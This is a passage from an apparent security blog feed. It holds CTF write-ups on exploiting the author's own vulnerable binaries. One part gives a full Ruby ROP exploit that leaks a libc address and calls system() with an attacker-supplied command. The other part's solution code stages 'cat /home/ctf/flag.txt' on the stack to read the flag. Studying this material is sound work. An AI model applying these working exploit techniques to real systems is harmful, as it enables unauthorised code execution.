00000080  d0 98 ca 12 7f 0a                                 |......|
</code></pre></div></div>

<p>See how (other than the newline - <code class="language-plaintext highlighter-rouge">0a</code>) it ends with, in reverse order, <code class="language-plaintext highlighter-rouge">0x7f12ca98d0a0</code>? If we check the symbol exports for <code class="language-plaintext highlighter-rouge">/lib64/libc.so</code>, we’ll see that the address for <code class="language-plaintext highlighter-rouge">puts()</code> ends with the same number:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -T /lib64/libc.so.6 | grep puts
00000000000840a0  w   DF .text  0000000000000206  GLIBC_2.2.5 puts
</code></pre></div></div>

<p>That’s a very good sign!</p>

<p>If we do some math, <code class="language-plaintext highlighter-rouge">0x7f12ca98d0a0 - 0x840a0 = 0x7f12ca909000</code>, which is the address where <code class="language-plaintext highlighter-rouge">libc.so</code> was loaded on that particular execution. Now we can use that to figure out the address of any other <code class="language-plaintext highlighter-rouge">libc.so</code> function starting from that base address and adding the offset!</p>

<h3 id="the-final-return">The final return</h3>

<p>Okay, where do we want to return after we’ve leaked the address?</p>

<p>This is what took me a bit of time, and where I found a technique that I’d never used before (though I betcha every other CTF player has) - we can return to the top of <code class="language-plaintext highlighter-rouge">main()</code> and let the program have its Groundhog Day - it starts from the top, and as far as it knows, nothing has happened. You can just exploit it again, but this time we know an address in libc!</p>

<p>Here’s our final ROP stack (for now):</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> (0x401281)</li>
  <li><strong>The address we want to leak (0x404000)</strong></li>
  <li><code class="language-plaintext highlighter-rouge">puts()</code> (0x401030)</li>
  <li><code class="language-plaintext highlighter-rouge">main()</code> (0x401196)</li>
</ul>

<p>Let’s run it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x00\x40\x40\x00\x00\x00\x00\x00''\x30\x10\x40\x00\x00\x00\x00\x00''\x96\x11\x40\x00\x00\x00\x00\x00' &gt; test.bin

$ ./goto-zero.patched &lt; test.bin
Enter 14 characters then press enter!
What is your name?

Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@Enter %d characters then press enter!

Enter 14 characters then press enter!
What is your name?

Good job, ����fish: Job 1, './goto-zero.patched &lt; test.bin' terminated by signal SIGSEGV (Address boundary error)
</code></pre></div></div>

<p>See how it starts over, asks for the player’s name, etc? The whole program runs a second time. But this time, we’re ready!</p>

<h2 id="and-then-it-gets-complicated">And then it gets complicated…</h2>

<p>So now, let’s make the binary into a network service:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ncat -e ./goto-zero.patched -k -l -p 1234
</code></pre></div></div>

<p>That’ll redirect stdin/stdout across the network like in a CTF challenge. We can connect to it and exploit it using <code class="language-plaintext highlighter-rouge">nc</code> or <code class="language-plaintext highlighter-rouge">ncat</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -v localhost 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to ::1:1234.
Enter 14 characters then press enter!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
What is your name?

Good job, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</code></pre></div></div>

<p>But we don’t really get output anymore. You <em>can</em> debug <code class="language-plaintext highlighter-rouge">ncat</code>, but that gets kinda complicated (you need to <code class="language-plaintext highlighter-rouge">set follow-fork-mode child</code>).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gdb -q --args ncat -vv -e ./goto-zero.patched -l -p 1234
[...]
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /usr/bin/ncat -vv -e ./goto-zero.patched -l -p 1234
</code></pre></div></div>

<p>In another terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc localhost 1234
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Good job, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</code></pre></div></div>

<p>And back in <code class="language-plaintext highlighter-rouge">ncat</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Thread 2.1 "goto-zero.patch" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7db5740 (LWP 438720)]
0x000000000040127f in main ()
(gdb) x/xg $rsp
0x7fffffffe178:	0x4141414141414141
</code></pre></div></div>

<p>A couple notes on this:</p>

<ul>
  <li>If you want to do it again, you have to restart <code class="language-plaintext highlighter-rouge">gdb</code> completely because it now thinks it’s the binary, not <code class="language-plaintext highlighter-rouge">ncat</code></li>
  <li>Because of how the binary is written, you can’t redirect a file, because the second the pipe closes the process terminates with <code class="language-plaintext highlighter-rouge">SIGPIPE</code> (the original binary isn’t like that - I didn’t notice till now and I don’t want to re-do all my examples!)</li>
</ul>

<h2 id="the-rest-of-the-owl">The rest of the owl</h2>

<p>At this point, we can no longer just use a file and wave away the complexity - we need to read the <code class="language-plaintext highlighter-rouge">libc.so</code> value and do some math.</p>

<p>I’m just going to reproduce my full exploit here and try to annotate it in comments. Enjoy!</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># encoding: ASCII-8BIT</span>

<span class="nb">require</span> <span class="s1">'socket'</span>

<span class="c1"># Use variables for host/port so we can change them to the real target later</span>
<span class="no">IP</span> <span class="o">=</span> <span class="s1">'localhost'</span>
<span class="no">PORT</span> <span class="o">=</span> <span class="mi">1234</span>
<span class="n">s</span> <span class="o">=</span> <span class="no">TCPSocket</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="no">IP</span><span class="p">,</span> <span class="no">PORT</span><span class="p">)</span>

<span class="c1"># This is a rally crappy function that reads one character at a time from the</span>
<span class="c1"># network stream until it ends with a value or disconnects - there are better</span>
<span class="c1"># ways to do this, but this works so whatever</span>
<span class="k">def</span> <span class="nf">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="nb">p</span><span class="p">,</span> <span class="ss">loud: </span><span class="kp">false</span><span class="p">)</span>
  <span class="c1">#puts "(Waiting for server to say \"#{p}\"...)"</span>
  <span class="n">data</span> <span class="o">=</span> <span class="s1">''</span>
  <span class="kp">loop</span> <span class="k">do</span>
    <span class="n">char</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">loud</span>
      <span class="nb">print</span> <span class="n">char</span>
    <span class="k">end</span>

    <span class="k">if</span> <span class="n">char</span><span class="p">.</span><span class="nf">nil?</span> <span class="o">||</span> <span class="n">char</span> <span class="o">==</span> <span class="s1">''</span>
      <span class="k">raise</span> <span class="s2">"Disconnected!"</span>
    <span class="k">end</span>

    <span class="n">data</span><span class="p">.</span><span class="nf">concat</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">data</span><span class="p">.</span><span class="nf">end_with?</span><span class="p">(</span><span class="nb">p</span><span class="p">)</span>
      <span class="k">return</span> <span class="n">data</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="c1"># Our initial gadgets - name them so you don't get confused later!</span>
<span class="no">POP_RDI_RET</span> <span class="o">=</span> <span class="mh">0x401281</span>
<span class="no">PUTS_PLT_ENTRY</span> <span class="o">=</span> <span class="mh">0x404000</span>
<span class="no">PUTS</span> <span class="o">=</span> <span class="mh">0x401030</span>
<span class="no">MAIN</span> <span class="o">=</span> <span class="mh">0x401196</span>
<span class="no">DEBUG</span> <span class="o">=</span> <span class="mh">0x4011a0</span>

<span class="c1"># Read the initial banner</span>
<span class="n">welcome_str</span> <span class="o">=</span> <span class="n">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s1">'enter!'</span><span class="p">)</span>

<span class="c1"># Extract the number so we don't have to patch our binary anymore</span>
<span class="n">welcome_str</span> <span class="o">=~</span> <span class="sr">/Enter ([0-9]+) char/</span>

<span class="c1"># Send the values it wants</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">((</span><span class="s1">'A'</span> <span class="o">*</span> <span class="vg">$1</span><span class="p">.</span><span class="nf">to_i</span><span class="p">)</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>

<span class="c1"># Read the next prompt</span>
<span class="n">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s1">'name?'</span><span class="p">)</span>

<span class="c1"># Build the same stack from the write-up</span>
<span class="no">EXPLOIT</span> <span class="o">=</span> <span class="p">[</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="c1"># Initial return address</span>
    <span class="no">PUTS_PLT_ENTRY</span><span class="p">,</span> <span class="c1"># rdi = addr of puts() to print</span>
  <span class="no">PUTS</span><span class="p">,</span> <span class="c1"># NEXT return address - actual puts()</span>
  <span class="no">MAIN</span><span class="p">,</span> <span class="c1"># End at MAIN</span>
<span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span> <span class="c1"># pack('Q*'), in Ruby, means encode as 64-bit little endian integers</span>

<span class="c1"># Send our overflow + exploit + newline</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">((</span><span class="s2">"A"</span> <span class="o">*</span> <span class="mi">56</span><span class="p">)</span> <span class="o">+</span> <span class="no">EXPLOIT</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>

<span class="c1"># The last thing that prints before our payload is the address of POP_EDI_RET,</span>
<span class="c1"># so read to that</span>
<span class="n">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x81\x12\x40</span><span class="s2">"</span><span class="p">)</span>

<span class="c1"># Then read to the newline right after the leak</span>
<span class="n">out</span> <span class="o">=</span> <span class="n">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s2">"</span><span class="se">\x0a</span><span class="s2">"</span><span class="p">)</span>

<span class="c1"># Remove the newline</span>
<span class="n">out</span><span class="p">.</span><span class="nf">gsub!</span><span class="p">(</span><span class="sr">/\x0a$/</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span>

<span class="c1"># Now we have our libc base address!</span>
<span class="no">LIBC_BASE_ADDRESS</span> <span class="o">=</span> <span class="p">(</span><span class="n">out</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\x00\x00</span><span class="s2">"</span><span class="p">).</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'Q'</span><span class="p">).</span><span class="nf">pop</span>
<span class="nb">puts</span>
<span class="nb">puts</span> <span class="s2">"LIBC base (ie, addr of puts): 0x%x"</span> <span class="o">%</span> <span class="no">LIBC_BASE_ADDRESS</span>
<span class="nb">puts</span>

<span class="c1"># Now we kinda start over! Except now we can use addresses from libc.so,</span>
<span class="c1"># relative to the address we determined</span>

<span class="c1"># Address of system()</span>
<span class="no">SYSTEM</span> <span class="o">=</span> <span class="no">LIBC_BASE_ADDRESS</span> <span class="o">-</span> <span class="mh">0x2edf0</span>

<span class="c1"># Address of sleep() - for testing</span>
<span class="no">SLEEP</span> <span class="o">=</span> <span class="no">LIBC_BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x7e1d0</span>

<span class="c1"># Address of pop rsi / pop &lt;something I don't care&gt; / ret</span>
<span class="c1"># (Recall we need rsi for second arg)</span>
<span class="no">POP_RSI_POP_R15_POP_RBP_RET</span> <span class="o">=</span> <span class="no">LIBC_BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x1919a7</span>

<span class="c1"># Address of pop rdx / pop &lt;something I don't care&gt; / ret</span>
<span class="c1"># (Recall we need rdx for third arg)</span>
<span class="no">POP_RDX_RET</span> <span class="o">=</span> <span class="mh">0x401283</span>

<span class="c1"># Address of read() function, for populating memory</span>
<span class="no">READ</span> <span class="o">=</span> <span class="no">LIBC_BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x89d60</span>

<span class="c1"># Some random memory in the .data section that we can use for temp storage</span>
<span class="no">WRITABLE_MEMORY</span> <span class="o">=</span> <span class="no">LIBC_BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x163f60</span>

<span class="c1"># Read the initial banner (again)</span>
<span class="n">welcome_str</span> <span class="o">=</span> <span class="n">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s1">'enter!'</span><span class="p">)</span>

<span class="c1"># Extract the number so we don't have to patch our binary anymore</span>
<span class="n">welcome_str</span> <span class="o">=~</span> <span class="sr">/Enter ([0-9]+) char/</span>

<span class="c1"># Send the values it wants</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">((</span><span class="s1">'A'</span> <span class="o">*</span> <span class="vg">$1</span><span class="p">.</span><span class="nf">to_i</span><span class="p">)</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>

<span class="c1"># Read the next prompt</span>
<span class="n">read_until</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s1">'name?'</span><span class="p">)</span>

<span class="c1"># Call sleep() to make sure it's working</span>
<span class="c1"># EXPLOIT2 = [</span>
<span class="c1">#   POP_RDI_RET,</span>
<span class="c1">#   5,</span>
<span class="c1">#   SLEEP,</span>
<span class="c1">#   DEBUG</span>
<span class="c1"># ].pack('Q*')</span>

<span class="no">EXPLOIT2</span> <span class="o">=</span> <span class="p">[</span>
  <span class="c1"># Set up a read() syscall to read arbitrary data into memory</span>

  <span class="c1"># First argument = fd = 0 (read from stdin)</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span>
  <span class="mi">0</span><span class="p">,</span>

  <span class="c1"># Second arg = buffer = anywhere we can write</span>
  <span class="no">POP_RSI_POP_R15_POP_RBP_RET</span><span class="p">,</span>
  <span class="no">WRITABLE_MEMORY</span><span class="p">,</span>
  <span class="mh">0x1337</span><span class="p">,</span> <span class="c1"># Doesn't matter (goes into r15)</span>
  <span class="mh">0x1337</span><span class="p">,</span> <span class="c1"># Doesn't matter (goes into rbp)</span>

  <span class="c1"># Third arg = size</span>
  <span class="no">POP_RDX_RET</span><span class="p">,</span>
  <span class="no">ARGV</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">length</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span>

  <span class="c1"># Return into READ - this will put our command into memory!</span>
  <span class="no">READ</span><span class="p">,</span>

  <span class="c1"># Set up system() call to run the command</span>
  <span class="no">POP_RDI_RET</span><span class="p">,</span>
  <span class="no">WRITABLE_MEMORY</span><span class="p">,</span>

  <span class="c1"># Return straight into SYSTEM</span>
  <span class="no">SYSTEM</span><span class="p">,</span>
<span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span>

<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">((</span><span class="s2">"A"</span> <span class="o">*</span> <span class="mi">56</span><span class="p">)</span> <span class="o">+</span> <span class="no">EXPLOIT2</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>

<span class="c1"># Not sure if the sleep is necessary but it helps me feel better!</span>
<span class="nb">sleep</span> <span class="mi">1</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span><span class="no">ARGV</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="se">\0\n</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">sleep</span> <span class="mi">1</span>

<span class="c1"># Then just read everything</span>
<span class="kp">loop</span> <span class="k">do</span>
  <span class="n">a</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">a</span><span class="p">.</span><span class="nf">nil?</span> <span class="o">||</span> <span class="n">a</span> <span class="o">==</span> <span class="s1">''</span>
    <span class="nb">exit</span>
  <span class="k">end</span>
  <span class="nb">print</span> <span class="n">a</span>
<span class="k">end</span>
</code></pre></div></div>

<p>In essence, that:</p>

<ul>
  <li>ROPs into <code class="language-plaintext highlighter-rouge">puts</code> to get the libc address of <code class="language-plaintext highlighter-rouge">puts</code></li>
  <li>Reads that</li>
  <li>ROPs a second time into <code class="language-plaintext highlighter-rouge">read()</code> to get the command from stdin, then into <code class="language-plaintext highlighter-rouge">system()</code> to run the command</li>
  <li>Sends the command (which will be read)</li>
  <li>Reads everything else the socket sends</li>
</ul>

<p>Good luck, and hope that makes sense!</p>]]></content><author><name>ron</name></author><category term="ctfs" /><summary type="html"><![CDATA[Hey all! My husband’s company recently did an internal (commercial) CTF, and as a CTF nerd I got suckered into helping him. I thought one of the challenges had a pretty interesting solution - at least, something I hadn’t done before - and I thought I’d do a little write-up! Because it’s a commercial CTF, I wrote my own vulnerability binary, which you can grab here. It’s much, much simpler, but has all the components I wanted. They also provided libc.so, but since I’m not actually running the challenge, you can just use your own copy. (Note that I’m running the BSidesSF CTF again this spring, and will probably gussy up this challenge a bit and throw it in - don’t let a good challenge go unwasted!)]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2024 Writeups: Turing Complete (Reversing / exploitation)</title><link href="https://www.skullsecurity.org/2024/bsidessf-2024-writeups-turing-complete-reversing-exploitation-" rel="alternate" type="text/html" title="BSidesSF 2024 Writeups: Turing Complete (Reversing / exploitation)" /><published>2024-05-05T19:59:58+00:00</published><updated>2024-05-05T19:59:58+00:00</updated><id>https://www.skullsecurity.org/2024/turing-complete</id><content type="html" xml:base="https://www.skullsecurity.org/2024/bsidessf-2024-writeups-turing-complete-reversing-exploitation-"><![CDATA[<p>This is a write-up for <a href="https://github.com/BSidesSF/ctf-2024-release/tree/main/turing-complete"><code class="language-plaintext highlighter-rouge">turing-complete</code></a>, <a href="https://github.com/BSidesSF/ctf-2024-release/tree/main/turing-incomplete"><code class="language-plaintext highlighter-rouge">turing-incomplete</code></a>, and <a href="https://github.com/BSidesSF/ctf-2024-release/tree/main/turing-incomplete64"><code class="language-plaintext highlighter-rouge">turing-incomplete64</code></a> from the BSides San Francisco 2024 CTF!</p>

<p><code class="language-plaintext highlighter-rouge">turing-complete</code> is a 101-level reversing challenge, and <code class="language-plaintext highlighter-rouge">turing-incomplete</code> is a much more difficult exploitation challenge with a very similar structure. <code class="language-plaintext highlighter-rouge">turing-incomplete64</code> is a 64-bit version of <code class="language-plaintext highlighter-rouge">turing-incomplete</code>, which isn’t necessarily harder, but is different.</p>

<p>Let’s look at the levels!</p>

<!--more-->

<h2 id="turing-complete"><code class="language-plaintext highlighter-rouge">turing-complete</code></h2>

<p>My ideas doc said “Turing Machine?” from a long time ago. I don’t really remember what I was thinking, but what I decided was to make a simple reversing challenge with a finite tape and 4 operations - go left, go right, read, and write. All commands and responses are binary (<code class="language-plaintext highlighter-rouge">1</code>s and <code class="language-plaintext highlighter-rouge">0</code>s), which is hinted at by the instructions being a series of binary bits.</p>

<p>The actual main loop, in C, is quite simple:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">uint8_t</span> <span class="n">tape</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>

  <span class="c1">// ...write the flag to the tape...</span>

  <span class="k">for</span><span class="p">(;;)</span> <span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">a</span> <span class="o">=</span> <span class="n">r</span><span class="p">();</span>
    <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">b</span> <span class="o">=</span> <span class="n">r</span><span class="p">();</span>
    <span class="k">if</span><span class="p">(</span><span class="n">b</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>


    <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">ptr</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">ptr</span><span class="o">--</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"%08b"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">uint8_t</span> <span class="n">value</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">7</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">r</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="mi">0</span><span class="p">);</span>
      <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">value</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>Since the flag is on the tape, the challenge is straight forward - just read it! That’s where’ <code class="language-plaintext highlighter-rouge">turing-incomplete</code> is going to vary :)</p>

<p>Here is my solution with comments:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Connect to the service</span>
<span class="n">s</span> <span class="o">=</span> <span class="no">TCPSocket</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>

<span class="c1"># Read the instructions</span>
<span class="n">s</span><span class="p">.</span><span class="nf">gets</span><span class="p">()</span>

<span class="c1"># Skip the part of the tape with boring words</span>
<span class="mi">1</span><span class="p">.</span><span class="nf">upto</span><span class="p">(</span><span class="mi">40</span><span class="p">)</span> <span class="k">do</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">RIGHT</span><span class="p">)</span>
<span class="k">end</span>

<span class="c1"># Read each character, move right, and convert it to a character</span>
<span class="n">flag</span> <span class="o">=</span> <span class="mi">1</span><span class="p">.</span><span class="nf">upto</span><span class="p">(</span><span class="n">expected_flag</span><span class="p">().</span><span class="nf">length</span><span class="p">).</span><span class="nf">map</span> <span class="k">do</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">PRINT</span> <span class="o">+</span> <span class="no">RIGHT</span><span class="p">)</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">8</span><span class="p">).</span><span class="nf">to_i</span><span class="p">(</span><span class="mi">2</span><span class="p">).</span><span class="nf">chr</span>
<span class="k">end</span><span class="p">.</span><span class="nf">join</span>
</code></pre></div></div>

<h2 id="turing-incomplete"><code class="language-plaintext highlighter-rouge">turing-incomplete</code></h2>

<p><code class="language-plaintext highlighter-rouge">turing-incomplete</code> is exactly the same as <code class="language-plaintext highlighter-rouge">turing-complete</code>, but with one exception: the flag isn’t loaded into the binary. And that’s kind of a big deal, because now you have to get code execution!</p>

<p>I also compiled it with all the usual security protections, so you have to overcome ASLR and DEP and stack cookies and everything. But, since we have easy read/write up the stack, those can all be bypassed pretty easily. I also provided a copy of the appropriate <code class="language-plaintext highlighter-rouge">libc.so.6</code> so you don’t have to grab your own copy.</p>

<p>You can grab the solution on the GitHub release, but I’ll show and explain each part of it below.</p>

<h3 id="stash-the-command">Stash the command</h3>

<p>First, we need to stash a shell command (we’re going to use <code class="language-plaintext highlighter-rouge">cat /home/ctf/flag.txt</code>):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Small offset to align us</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">RIGHT</span> <span class="o">*</span> <span class="mh">0x3</span><span class="p">)</span>

<span class="c1"># Use some unused stack space to store our command for later</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">RIGHT</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">)</span>

<span class="c1"># Write the command to the stack, one byte at a time</span>
<span class="no">COMMAND</span> <span class="o">=</span> <span class="s2">"cat /home/ctf/flag.txt</span><span class="se">\0</span><span class="s2">"</span>
<span class="no">COMMAND</span><span class="p">.</span><span class="nf">bytes</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">b</span><span class="o">|</span>
  <span class="n">write_8_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
<span class="k">end</span>

<span class="c1"># Go backwards - this rewinds to a point on the stack where we can reliably find</span>
<span class="c1"># a stack reference</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">LEFT</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1000</span> <span class="o">+</span> <span class="no">COMMAND</span><span class="p">.</span><span class="nf">length</span> <span class="o">-</span> <span class="mi">132</span><span class="p">))</span>
</code></pre></div></div>

<p>We move the pointer way to the right so we aren’t on a park of the stack that isn’t going to get overwritten, then write the payload byte by byte.</p>

<h3 id="leak-a-stack-address">Leak a stack address</h3>

<p>Second, we leak a stack address; starting with the last line from the previous example:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Go backwards - this rewinds to a point on the stack where we can reliably find</span>
<span class="c1"># a stack reference</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">LEFT</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1000</span> <span class="o">+</span> <span class="no">COMMAND</span><span class="p">.</span><span class="nf">length</span> <span class="o">-</span> <span class="mi">132</span><span class="p">))</span>

<span class="c1"># Read a stack address</span>
<span class="no">STACK_ADDR</span> <span class="o">=</span> <span class="n">read_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>

<span class="c1"># Calculate where our command is, based on the known address and the 1000-byte</span>
<span class="c1"># offset</span>
<span class="no">COMMAND_ADDR</span> <span class="o">=</span> <span class="no">STACK_ADDR</span> <span class="o">-</span> <span class="mh">0xc4</span> <span class="o">+</span> <span class="mi">1000</span>
<span class="nb">puts</span> <span class="s2">"Command should be @ %x"</span> <span class="o">%</span> <span class="no">COMMAND_ADDR</span>
</code></pre></div></div>

<p>From pure experimentation, I determined that the address 132 bytes from the start of the buffer is a stack address. The value points to 0xc4 bytes after the start of our buffer, so if we subtract 0xc4 then add 1000 bytes, we get a pointe to where our command is in memory. We can pass that value to <code class="language-plaintext highlighter-rouge">system()</code>, which we’ll do later!</p>

<h3 id="grab-the-return-address">Grab the return address</h3>

